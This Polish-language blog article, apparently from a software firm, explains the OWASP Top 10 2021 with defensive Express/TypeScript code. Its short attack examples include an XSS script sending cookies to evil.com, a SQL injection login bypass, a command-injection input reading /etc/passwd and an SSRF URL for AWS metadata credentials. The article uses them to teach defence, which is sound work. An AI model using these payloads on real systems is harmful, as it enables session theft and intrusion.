Bezpieczeństwo aplikacji webowych - OWASP Top 10
Bezpieczeństwo aplikacji webowych
bezpieczenstwoBezpieczeństwo aplikacji webowych - OWASP Top 10
Bezpieczeństwo aplikacji webowych to jeden z najważniejszych aspektów współczesnego wytwarzania oprogramowania. Każdego roku miliony stron internetowych padają ofiarą ataków, które prowadzą do wycieku danych, strat finansowych i utraty reputacji. OWASP (Open Web Application Security Project) publikuje regularnie aktualizowaną listę Top 10 najpoważniejszych zagrożeń bezpieczeństwa, która stanowi punkt odniesienia dla deweloperów, audytorów i architektów systemów na całym świecie.
W tym artykule omówimy szczegółowo każde z dziesięciu zagrożeń z listy OWASP Top 10 2021, pokażemy realne przykłady ataków oraz zaprezentujemy konkretne techniki i kod służące do ochrony aplikacji.
1. A01:2021 - Broken Access Control (Złamana kontrola dostępu)#
Złamana kontrola dostępu awansowała z piątego miejsca na pierwsze w edycji 2021. Występuje wtedy, gdy użytkownik może wykonać akcje wykraczające poza przyznane mu uprawnienia. Może to oznaczać dostęp do danych innych użytkowników, modyfikację cudzych zasobów lub eskalację uprawnień.
Przykłady ataków#
Klasycznym przykładem jest manipulacja parametrami URL. Wyobraźmy sobie aplikację bankową, w której użytkownik widzi swój rachunek pod adresem /account/12345. Jeśli zmieni numer na /account/12346, a system nie zweryfikuje, czy ma prawo do tego zasobu, uzyskuje dostęp do cudzego konta.
Innym scenariuszem jest tzw. IDOR (Insecure Direct Object Reference), gdzie API zwraca dane na podstawie identyfikatora przesłanego przez użytkownika bez autoryzacji:
GET /api/users/42/invoices HTTP/1.1
Authorization: Bearer <token_użytkownika_13>
Jeśli serwer zwraca faktury użytkownika 42 na podstawie tokenu użytkownika 13, mamy do czynienia z poważną luką.
Zapobieganie#
// Middleware autoryzacji w Express.js
const authorizeResource = (resourceType: string) => {
return async (req: Request, res: Response, next: NextFunction) => {
const userId = req.user.id; // z tokenu JWT
const resourceId = req.params.id;
const resource = await db.query(
`SELECT * FROM ${resourceType} WHERE id = $1 AND owner_id = $2`,
[resourceId, userId]
);
if (!resource.rows.length) {
return res.status(403).json({ error: 'Brak dostępu do zasobu' });
}
req.resource = resource.rows[0];
next();
};
};
// Użycie
app.get('/api/invoices/:id', authenticate, authorizeResource('invoices'), getInvoice);
Warto stosować zasadę deny by default - domyślnie odmawiaj dostępu i wymagaj jawnego przyznania uprawnień. Implementuj kontrolę dostępu po stronie serwera, nigdy nie polegaj wyłącznie na ukrywaniu elementów w interfejsie.
2. A02:2021 - Cryptographic Failures (Błędy kryptograficzne)#
Ta kategoria, wcześniej znana jako "Sensitive Data Exposure", dotyczy nieprawidłowego użycia lub braku kryptografii. Obejmuje przesyłanie danych w postaci niezaszyfrowanej, używanie słabych algorytmów kryptograficznych oraz niewłaściwe zarządzanie kluczami.
Przykłady ataków#
Przechowywanie haseł w postaci jawnego tekstu lub z użyciem słabych funkcji skrótu (MD5, SHA1) to wciąż spotykany problem. Atakujący, który uzyska dostęp do bazy danych, może odtworzyć hasła za pomocą tęczowych tablic.
Inny przykład to brak wymuszenia HTTPS, co umożliwia atak man-in-the-middle:
# Sniffing ruchu HTTP w niezabezpieczonej sieci Wi-Fi
Cookie: session=abc123; user=admin
Zapobieganie#
import bcrypt from 'bcrypt';
import crypto from 'crypto';
// Prawidłowe hashowanie haseł
const SALT_ROUNDS = 12;
async function hashPassword(password: string): Promise<string> {
return bcrypt.hash(password, SALT_ROUNDS);
}
async function verifyPassword(password: string, hash: string): Promise<boolean> {
return bcrypt.compare(password, hash);
}
// Szyfrowanie danych wrażliwych w bazie
const ALGORITHM = 'aes-256-gcm';
function encrypt(text: string, key: Buffer): { encrypted: string; iv: string; tag: string } {
const iv = crypto.randomBytes(16);
const cipher = crypto.createCipheriv(ALGORITHM, key, iv);
let encrypted = cipher.update(text, 'utf8', 'hex');
encrypted += cipher.final('hex');
const tag = cipher.getAuthTag();
return {
encrypted,
iv: iv.toString('hex'),
tag: tag.toString('hex'),
};
}
Zawsze wymuszaj HTTPS za pomocą nagłówka HSTS:
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
3. A03:2021 - Injection (Wstrzykiwanie kodu)#
Injection to jedna z najstarszych i najniebezpieczniejszych kategorii zagrożeń. Ataki typu injection występują, gdy niezaufane dane są wysyłane do interpretera jako część polecenia lub zapytania. Najczęstsze typy to SQL Injection, Cross-Site Scripting (XSS) oraz Command Injection.
SQL Injection#
Atakujący manipuluje zapytaniem SQL, wstrzykując złośliwy kod:
-- Podatne zapytanie
SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = 'cokolwiek'
To zapytanie zwróci wszystkich użytkowników z bazy, omijając uwierzytelnianie.
XSS (Cross-Site Scripting)#
XSS pozwala atakującemu na wstrzyknięcie skryptów JavaScript w przeglądarce ofiary:
<!-- Stored XSS w komentarzu na forum -->
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
Command Injection#
Wstrzyknięcie poleceń systemowych:
# Podatna aplikacja wykonuje:
ping -c 4 <input_użytkownika>
# Atakujący wpisuje: 127.0.0.1; cat /etc/passwd
Zapobieganie#
// SQL Injection - używaj parametryzowanych zapytań
// ZLE:
const query = `SELECT * FROM users WHERE email = '${email}'`;
// DOBRZE - parametryzowane zapytanie (node-postgres):
const result = await pool.query(
'SELECT * FROM users WHERE email = $1',
[email]
);
// DOBRZE - ORM (Prisma):
const user = await prisma.user.findUnique({
where: { email: email },
});
// XSS - sanityzacja wyjścia
import DOMPurify from 'dompurify';
function sanitizeHTML(dirty: string): string {
return DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br'],
ALLOWED_ATTR: [],
});
}
// Command Injection - walidacja i lista dozwolonych
import { execFile } from 'child_process';
// ZLE:
exec(`ping -c 4 ${userInput}`);
// DOBRZE - execFile z argumentami jako tablicą:
const isValidIP = /^(\d{1,3}\.){3}\d{1,3}$/.test(userInput);
if (isValidIP) {
execFile('ping', ['-c', '4', userInput], (error, stdout) => {
// obsługa wyniku
});
}
4. A04:2021 - Insecure Design (Niebezpieczny projekt)#
Ta nowa kategoria w edycji 2021 dotyczy błędów na etapie projektowania aplikacji. Nie chodzi o błędną implementację, lecz o brak mechanizmów bezpieczeństwa w samej architekturze systemu.
Przykłady#
Aplikacja e-commerce pozwala na nieograniczoną liczbę prób wprowadzenia kodu rabatowego - atakujący może przeprowadzić atak brute force, aby odgadnąć aktywne kody. System rezerwacji biletów nie ogranicza liczby biletów na jedną transakcję, co umożliwia skalperów wykupienie całej puli.
Zapobieganie#
// Rate limiting na poziomie projektowym
import rateLimit from 'express-rate-limit';
// Ograniczenie prób logowania
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minut
max: 5, // 5 prób na okno
message: { error: 'Zbyt wiele prób logowania. Spróbuj ponownie za 15 minut.' },
standardHeaders: true,
legacyHeaders: false,
keyGenerator: (req) => req.body.email || req.ip,
});
app.post('/api/auth/login', loginLimiter, loginHandler);
// Ograniczenie prób kodu rabatowego
const couponLimiter = rateLimit({
windowMs: 60 * 60 * 1000, // 1 godzina
max: 10, // 10 prób na godzinę
keyGenerator: (req) => req.user.id,
});
app.post('/api/coupons/apply', authenticate, couponLimiter, applyCoupon);
Przy projektowaniu należy stosować threat modeling - systematyczne identyfikowanie potencjalnych zagrożeń na etapie architektury. Warto korzystać z metodologii STRIDE lub DREAD do klasyfikacji ryzyk.
5. A05:2021 - Security Misconfiguration (Błędna konfiguracja bezpieczeństwa)#
Błędna konfiguracja to najczęściej spotykany problem. Obejmuje domyślne hasła, niepotrzebne usługi, otwarte porty, szczegółowe komunikaty o błędach w produkcji oraz brak aktualizacji bezpieczeństwa.
Przykłady#
Pozostawienie domyślnych danych logowania do panelu administracyjnego (admin/admin), wyświetlanie stack trace'ów w odpowiedziach API, włączony listing katalogów na serwerze WWW, niezabezpieczona konsola bazy danych dostępna publicznie.
Zapobieganie#
// Konfiguracja Express.js dla produkcji
import helmet from 'helmet';
import cors from 'cors';
const app = express();
// Helmet ustawia bezpieczne nagłówki HTTP
app.use(helmet());
// Restrykcyjna konfiguracja CORS
app.use(cors({
origin: ['https://www.example.com'],
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
credentials: true,
maxAge: 86400,
}));
// Wyłączenie ujawniania technologii
app.disable('x-powered-by');
// Obsługa błędów bez ujawniania szczegółów
app.use((err: Error, req: Request, res: Response, next: NextFunction) => {
console.error('Internal error:', err); // loguj szczegóły
res.status(500).json({
error: 'Wystąpił wewnętrzny błąd serwera',
// NIE zwracaj err.message ani err.stack w produkcji
});
});
# Konfiguracja Nginx - ukrycie wersji serwera
server_tokens off;
# Wyłączenie listingu katalogów
autoindex off;
# Ograniczenie metod HTTP
if ($request_method !~ ^(GET|POST|PUT|DELETE|OPTIONS)$) {
return 405;
}
6. A06:2021 - Vulnerable and Outdated Components (Podatne i przestarzałe komponenty)#
Nowoczesne aplikacje składają się z wielu bibliotek i frameworków. Każdy z tych komponentów może zawierać znane podatności. Korzystanie z nieaktualnych wersji paczek to zaproszenie dla atakujących.
Przykłady#
Słynna podatność Log4Shell (CVE-2021-44228) w bibliotece Apache Log4j pozwalała na zdalne wykonanie kodu (RCE) i dotknęła miliony aplikacji Java na całym świecie. Inne przykłady to podatności w starszych wersjach jQuery, które umożliwiały ataki XSS, lub luki w bibliotece event-stream w ekosystemie npm.
Zapobieganie#
# Regularne audyty zależności
npm audit
npm audit fix
# Automatyczne aktualizacje bezpieczeństwa z Dependabot
# .github/dependabot.yml
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "weekly"
open-pull-requests-limit: 10
labels:
- "dependencies"
- "security"
// Sprawdzanie licencji i podatności w CI/CD
// package.json
{
"scripts": {
"security:check": "npm audit --audit-level=high",
"security:fix": "npm audit fix",
"deps:outdated": "npm outdated"
}
}
Utrzymuj Software Bill of Materials (SBOM) - wykaz wszystkich komponentów i ich wersji w aplikacji. Monitoruj bazy CVE pod kątem nowych podatności w używanych bibliotekach.
7. A07:2021 - Identification and Authentication Failures (Błędy identyfikacji i uwierzytelniania)#
Ta kategoria obejmuje słabości w mechanizmach logowania, zarządzania sesjami i weryfikacji tożsamości. Obejmuje m.in. brak ochrony przed brute force, słabe wymagania dotyczące haseł, nieprawidłowe zarządzanie tokenami sesji.
Przykłady#
Aplikacja pozwala na użycie hasła 123456 bez żadnych wymagań co do złożoności. Token sesji jest przewidywalny lub nie jest odnawiany po zalogowaniu. Mechanizm "zapomniałem hasła" ujawnia, czy dany adres email istnieje w systemie.
Zapobieganie#
// Bezpieczna konfiguracja sesji
import session from 'express-session';
import RedisStore from 'connect-redis';
app.use(session({
store: new RedisStore({ client: redisClient }),
secret: process.env.SESSION_SECRET!,
name: '__Host-sid', // prefix __Host- wymaga HTTPS
resave: false,
saveUninitialized: false,
cookie: {
secure: true,
httpOnly: true,
sameSite: 'strict',
maxAge: 30 * 60 * 1000, // 30 minut
domain: 'example.com',
},
}));
// Walidacja siły hasła
import zxcvbn from 'zxcvbn';
function validatePassword(password: string): { valid: boolean; feedback: string[] } {
const result = zxcvbn(password);
if (result.score < 3) {
return {
valid: false,
feedback: result.feedback.suggestions,
};
}
if (password.length < 10) {
return {
valid: false,
feedback: ['Hasło musi mieć co najmniej 10 znaków'],
};
}
return { valid: true, feedback: [] };
}
// Multi-Factor Authentication (MFA) z TOTP
import speakeasy from 'speakeasy';
function generateTOTPSecret() {
return speakeasy.generateSecret({
name: 'MojaAplikacja',
issuer: 'MDS Software',
});
}
function verifyTOTP(secret: string, token: string): boolean {
return speakeasy.totp.verify({
secret,
encoding: 'base32',
token,
window: 1,
});
}
8. A08:2021 - Software and Data Integrity Failures (Błędy integralności oprogramowania i danych)#
Nowa kategoria obejmuje problemy związane z brakiem weryfikacji integralności kodu i danych. Dotyczy to m.in. niezabezpieczonych pipeline'ów CI/CD, nieveryfikowanych aktualizacji oprogramowania oraz deserializacji niezaufanych danych.
Przykłady#
Atak na łańcuch dostaw (supply chain attack) polegający na przejęciu popularnej paczki npm i wstrzyknięciu złośliwego kodu. Brak weryfikacji podpisów cyfrowych przy automatycznych aktualizacjach. Deserializacja niezaufanych obiektów prowadząca do zdalnego wykonania kodu.
Zapobieganie#
// Weryfikacja integralności zależności z package-lock.json
// W CI/CD używaj npm ci zamiast npm install
// npm ci instaluje dokładnie to, co jest w lockfile
// Subresource Integrity (SRI) dla skryptów zewnętrznych
// w HTML:
`<script
src="https://cdn.example.com/lib.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8w"
crossorigin="anonymous"
></script>`
// Bezpieczna deserializacja - unikaj eval() i JSON.parse bez walidacji
import Ajv from 'ajv';
const ajv = new Ajv();
const userSchema = {
type: 'object',
properties: {
name: { type: 'string', maxLength: 100 },
email: { type: 'string', format: 'email' },
role: { type: 'string', enum: ['user', 'editor'] },
},
required: ['name', 'email'],
additionalProperties: false,
};
const validateUser = ajv.compile(userSchema);
function parseUserData(data: unknown) {
if (!validateUser(data)) {
throw new Error(`Nieprawidłowe dane: ${ajv.errorsText(validateUser.errors)}`);
}
return data;
}
9. A09:2021 - Security Logging and Monitoring Failures (Błędy logowania i monitorowania bezpieczeństwa)#
Bez odpowiedniego logowania i monitorowania, naruszenia bezpieczeństwa mogą pozostać niewykryte przez tygodnie lub miesiące. Średni czas wykrycia naruszenia danych wynosi 287 dni. Brak logów oznacza brak możliwości analizy incydentów i reakcji na ataki.
Przykłady#
Aplikacja nie loguje nieudanych prób logowania, co uniemożliwia wykrycie ataku brute force. Brak alertów przy nietypowej aktywności (np. logowanie z nowego kraju). Logi nie zawierają wystarczających informacji do odtworzenia przebiegu ataku.
Zapobieganie#
import winston from 'winston';
// Konfiguracja bezpiecznego logowania
const logger = winston.createLogger({
level: 'info',
format: winston.format.combine(
winston.format.timestamp(),
winston.format.json()
),
defaultMeta: { service: 'webapp' },
transports: [
new winston.transports.File({ filename: 'error.log', level: 'error' }),
new winston.transports.File({ filename: 'security.log' }),
],
});
// Logowanie zdarzeń bezpieczeństwa
function logSecurityEvent(event: {
type: string;
userId?: string;
ip: string;
details: string;
severity: 'low' | 'medium' | 'high' | 'critical';
}) {
logger.warn('SECURITY_EVENT', {
...event,
timestamp: new Date().toISOString(),
});
// Alert dla zdarzeń krytycznych
if (event.severity === 'critical') {
notifySecurityTeam(event);
}
}
// Middleware logowania prób uwierzytelniania
function logAuthAttempt(req: Request, success: boolean) {
logSecurityEvent({
type: success ? 'AUTH_SUCCESS' : 'AUTH_FAILURE',
userId: req.body.email,
ip: req.ip,
details: `Login attempt from ${req.headers['user-agent']}`,
severity: success ? 'low' : 'medium',
});
}
// Wykrywanie anomalii - zbyt wiele nieudanych prób
const failedAttempts = new Map<string, number>();
function detectBruteForce(ip: string): boolean {
const attempts = (failedAttempts.get(ip) || 0) + 1;
failedAttempts.set(ip, attempts);
if (attempts >= 10) {
logSecurityEvent({
type: 'BRUTE_FORCE_DETECTED',
ip,
details: `${attempts} failed attempts from IP`,
severity: 'critical',
});
return true;
}
return false;
}
10. A10:2021 - Server-Side Request Forgery (SSRF)#
SSRF to nowa pozycja w OWASP Top 10. Atak polega na zmuszeniu serwera do wykonania żądania HTTP do dowolnego adresu, w tym do zasobów wewnętrznych, które normalnie nie są dostępne z zewnątrz.
Przykłady#
Aplikacja umożliwia podanie URL do pobrania obrazu. Atakujący podaje adres wewnętrznej usługi:
https://example.com/fetch-image?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
Ten adres (169.254.169.254) to serwer metadanych AWS EC2 - atakujący może uzyskać tymczasowe poświadczenia IAM.
Zapobieganie#
import { URL } from 'url';
import dns from 'dns/promises';
import ipaddr from 'ipaddr.js';
async function isUrlSafe(inputUrl: string): Promise<boolean> {
try {
const parsed = new URL(inputUrl);
// Dozwolone tylko HTTP i HTTPS
if (!['http:', 'https:'].includes(parsed.protocol)) {
return false;
}
// Blokada prywatnych adresów IP
const addresses = await dns.resolve4(parsed.hostname);
for (const addr of addresses) {
const ip = ipaddr.parse(addr);
const range = ip.range();
if (['private', 'loopback', 'linkLocal', 'uniqueLocal'].includes(range)) {
return false;
}
}
// Blokada znanych adresów metadanych chmury
const blockedHosts = [
'169.254.169.254', // AWS/GCP metadata
'metadata.google.internal',
'100.100.100.200', // Alibaba Cloud
];
if (blockedHosts.includes(parsed.hostname)) {
return false;
}
return true;
} catch {
return false;
}
}
// Użycie
app.post('/api/fetch-image', async (req, res) => {
const { url } = req.body;
if (!await isUrlSafe(url)) {
return res.status(400).json({ error: 'Niedozwolony adres URL' });
}
// Bezpieczne pobranie zasobu z timeoutem
const response = await fetch(url, {
signal: AbortSignal.timeout(5000),
redirect: 'error', // blokada przekierowań
});
// Weryfikacja Content-Type
const contentType = response.headers.get('content-type');
if (!contentType?.startsWith('image/')) {
return res.status(400).json({ error: 'Zasób nie jest obrazem' });
}
const buffer = await response.arrayBuffer();
res.set('Content-Type', contentType);
res.send(Buffer.from(buffer));
});
Nagłówki bezpieczeństwa HTTP#
Oprócz ochrony przed poszczególnymi atakami, kluczowe jest ustawienie odpowiednich nagłówków HTTP, które zapewniają dodatkową warstwę obrony:
// Kompletna konfiguracja nagłówków bezpieczeństwa
app.use((req, res, next) => {
// Content Security Policy - ochrona przed XSS i injection
res.setHeader('Content-Security-Policy', [
"default-src 'self'",
"script-src 'self' 'nonce-${generateNonce()}'",
"style-src 'self' 'unsafe-inline'",
"img-src 'self' data: https:",
"font-src 'self'",
"connect-src 'self' https://api.example.com",
"frame-ancestors 'none'",
"base-uri 'self'",
"form-action 'self'",
].join('; '));
// Ochrona przed clickjacking
res.setHeader('X-Frame-Options', 'DENY');
// Ochrona przed MIME sniffing
res.setHeader('X-Content-Type-Options', 'nosniff');
// Referrer Policy
res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
// Permissions Policy - ograniczenie dostępu do API przeglądarki
res.setHeader('Permissions-Policy',
'camera=(), microphone=(), geolocation=(), payment=(self)'
);
// HSTS - wymuszenie HTTPS
res.setHeader('Strict-Transport-Security',
'max-age=63072000; includeSubDomains; preload'
);
next();
});
CORS - Cross-Origin Resource Sharing#
Prawidłowa konfiguracja CORS to istotny element bezpieczeństwa. Zbyt luźna polityka CORS może umożliwić nieautoryzowany dostęp do API:
import cors from 'cors';
// ZLE - pozwala na żądania z dowolnej domeny:
app.use(cors({ origin: '*' }));
// DOBRZE - restrykcyjna konfiguracja:
const allowedOrigins = [
'https://www.example.com',
'https://app.example.com',
];
app.use(cors({
origin: (origin, callback) => {
// Pozwól na żądania bez origin (np. mobile apps, curl)
if (!origin) return callback(null, true);
if (allowedOrigins.includes(origin)) {
callback(null, true);
} else {
callback(new Error('Niedozwolone przez CORS'));
}
},
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
exposedHeaders: ['X-Request-Id'],
credentials: true,
maxAge: 86400,
}));
Content Security Policy (CSP) w praktyce#
CSP to jeden z najskuteczniejszych mechanizmów obrony przed atakami XSS. Pozwala zdefiniować, skąd przeglądarka może ładować zasoby:
import crypto from 'crypto';
// Generowanie nonce dla skryptów inline
function generateNonce(): string {
return crypto.randomBytes(16).toString('base64');
}
app.use((req, res, next) => {
const nonce = generateNonce();
res.locals.nonce = nonce;
const csp = {
'default-src': ["'self'"],
'script-src': ["'self'", `'nonce-${nonce}'`, "'strict-dynamic'"],
'style-src': ["'self'", "'unsafe-inline'"],
'img-src': ["'self'", 'data:', 'https:'],
'font-src': ["'self'", 'https://fonts.gstatic.com'],
'connect-src': ["'self'", 'https://api.example.com'],
'frame-src': ["'none'"],
'object-src': ["'none'"],
'base-uri': ["'self'"],
'form-action': ["'self'"],
'frame-ancestors': ["'none'"],
'upgrade-insecure-requests': [],
};
const cspString = Object.entries(csp)
.map(([key, values]) => `${key} ${values.join(' ')}`)
.join('; ');
res.setHeader('Content-Security-Policy', cspString);
next();
});
Checklista bezpieczeństwa aplikacji webowych#
Podsumowując, oto najważniejsze punkty do weryfikacji w każdej aplikacji webowej:
- Kontrola dostępu: Weryfikuj uprawnienia po stronie serwera dla każdego żądania
- Kryptografia: Używaj bcrypt/Argon2 dla haseł, AES-256-GCM dla danych, wymuszaj HTTPS
- Injection: Parametryzowane zapytania, sanityzacja wejścia, CSP
- Projektowanie: Threat modeling, rate limiting, zasada najmniejszych uprawnień
- Konfiguracja: Hardening serwerów, ukrycie wersji, wyłączenie debugowania
- Zależności: Regularne audyty, automatyczne aktualizacje, SBOM
- Uwierzytelnianie: MFA, silne hasła, bezpieczne sesje
- Integralność: SRI, weryfikacja podpisów, walidacja danych
- Monitoring: Logowanie zdarzeń bezpieczeństwa, alertowanie, analiza anomalii
- SSRF: Walidacja URL, blokada prywatnych adresów IP, ograniczenie przekierowań
Podsumowanie#
Bezpieczeństwo aplikacji webowych to proces ciągły, a nie jednorazowe działanie. Lista OWASP Top 10 2021 dostarcza solidnych podstaw do identyfikacji i eliminacji najczęstszych zagrożeń. Kluczowe jest wdrożenie bezpieczeństwa na każdym etapie cyklu życia oprogramowania - od projektowania, przez implementację, po wdrożenie i monitoring.
Pamiętaj, że nawet najlepsze zabezpieczenia techniczne nie zastąpią kultury bezpieczeństwa w zespole. Regularne szkolenia, przeglądy kodu pod kątem bezpieczeństwa (security code review) oraz testy penetracyjne powinny być stałym elementem procesu wytwarzania oprogramowania.
Potrzebujesz profesjonalnego audytu bezpieczeństwa lub pomocy we wdrożeniu zabezpieczeń w swojej aplikacji? Zespół MDS Software Solutions Group specjalizuje się w projektowaniu i budowie bezpiecznych aplikacji webowych zgodnych z najlepszymi praktykami OWASP. Skontaktuj się z nami, aby omówić bezpieczeństwo Twojego projektu.
Zespół ekspertów programistycznych specjalizujących się w nowoczesnych technologiach webowych.
